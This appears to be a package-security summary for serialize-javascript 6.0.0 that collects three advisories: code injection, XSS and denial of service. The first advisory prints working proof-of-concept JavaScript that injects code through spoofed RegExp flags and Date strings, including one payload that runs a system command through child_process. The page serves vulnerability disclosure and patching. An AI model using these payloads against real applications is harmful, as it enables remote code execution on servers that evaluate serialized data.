serialize-javascript @6.0.0

CVSS 8.1 (HIGH) — CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H ### Impact The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660. While `RegExp.source` is sanitized, `RegExp.flags` is interpolated directly into the generated output without escaping. A similar issue exists in `Date.prototype.toISOString()`. If an attacker can control the input object passed to `serialize()`, they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via `eval`, `new Function`, or `<script>` tags), the injected code executes. ```javascript const serialize = require('serialize-javascript'); // Create an object that passes instanceof RegExp with a spoofed .flags const fakeRegex = Object.create(RegExp.prototype); Object.defineProperty(fakeRegex, 'source', { get: () => 'x' }); Object.defineProperty(fakeRegex, 'flags', { get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"' }); fakeRegex.toJSON = function() { return '@placeholder'; }; const output = serialize({ re: fakeRegex }); // Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")} let obj; eval('obj = ' + output); console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed! #h2. PoC 2: Code Injection via Date.toISOString() ``` ```javascript const serialize = require('serialize-javascript'); const fakeDate = Object.create(Date.prototype); fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; }; fakeDate.toJSON = function() { return '2024-01-01'; }; const output = serialize({ d: fakeDate }); // Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")} eval('obj = ' + output); console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed! #h2. PoC 3: Remote Code Execution ``` ```javascript const serialize = require('serialize-javascript'); const rceRegex = Object.create(RegExp.prototype); Object.defineProperty(rceRegex, 'source', { get: () => 'x' }); Object.defineProperty(rceRegex, 'flags', { get: () => '"+require("child_process").execSync("id").toString()+"' }); rceRegex.toJSON = function() { return '@rce'; }; const output = serialize({ re: rceRegex }); // Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")} // When eval'd on a Node.js server, executes the "id" system command ``` ### Patches The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3

CVSS 5.4 (MEDIUM) — CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N A flaw was found in npm-serialize-javascript. The vulnerability occurs because the serialize-javascript module does not properly sanitize certain inputs, such as regex or other JavaScript object types, allowing an attacker to inject malicious code. This code could be executed when deserialized by a web browser, causing Cross-site scripting (XSS) attacks. This issue is critical in environments where serialized data is sent to web clients, potentially compromising the security of the website or web application using this package.

CVSS 5.9 (MEDIUM) — CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H ### Impact **What kind of vulnerability is it?** It is a **Denial of Service (DoS)** vulnerability caused by CPU exhaustion. When serializing a specially crafted "array-like" object (an object that inherits from `Array.prototype` but has a very large `length` property), the process enters an intensive loop that consumes 100% CPU and hangs indefinitely. **Who is impacted?** Applications that use `serialize-javascript` to serialize untrusted or user-controlled objects are at risk. While direct exploitation is difficult, it becomes a high-priority threat if the application is also vulnerable to **Prototype Pollution** or handles untrusted data via **YAML Deserialization**, as these could be used to inject the malicious object. ### Patches **Has the problem been patched?** Yes, the issue has been patched by replacing `instanceof Array` checks with `Array.isArray()` and using `Object.keys()` for sparse array detection. **What versions should users upgrade to?** Users should upgrade to **`v7.0.5`** or later. ### Workarounds **Is there a way for users to fix or remediate the vulnerability without upgrading?** There is no direct code-level workaround within the library itself. However, users can mitigate the risk by: * Validating and sanitizing all input before passing it to the `serialize()` function. * Ensuring the environment is protected against Prototype Pollution. * Upgrading to **`v7.0.5`** as soon as possible. ### Acknowledgements Serialize JavaScript thanks **Tomer Aberbach** (@TomerAberbach) for discovering and privately disclosing this issue.

Package was published without Sigstore provenance. Consider requesting the maintainer enable provenance via CI/CD.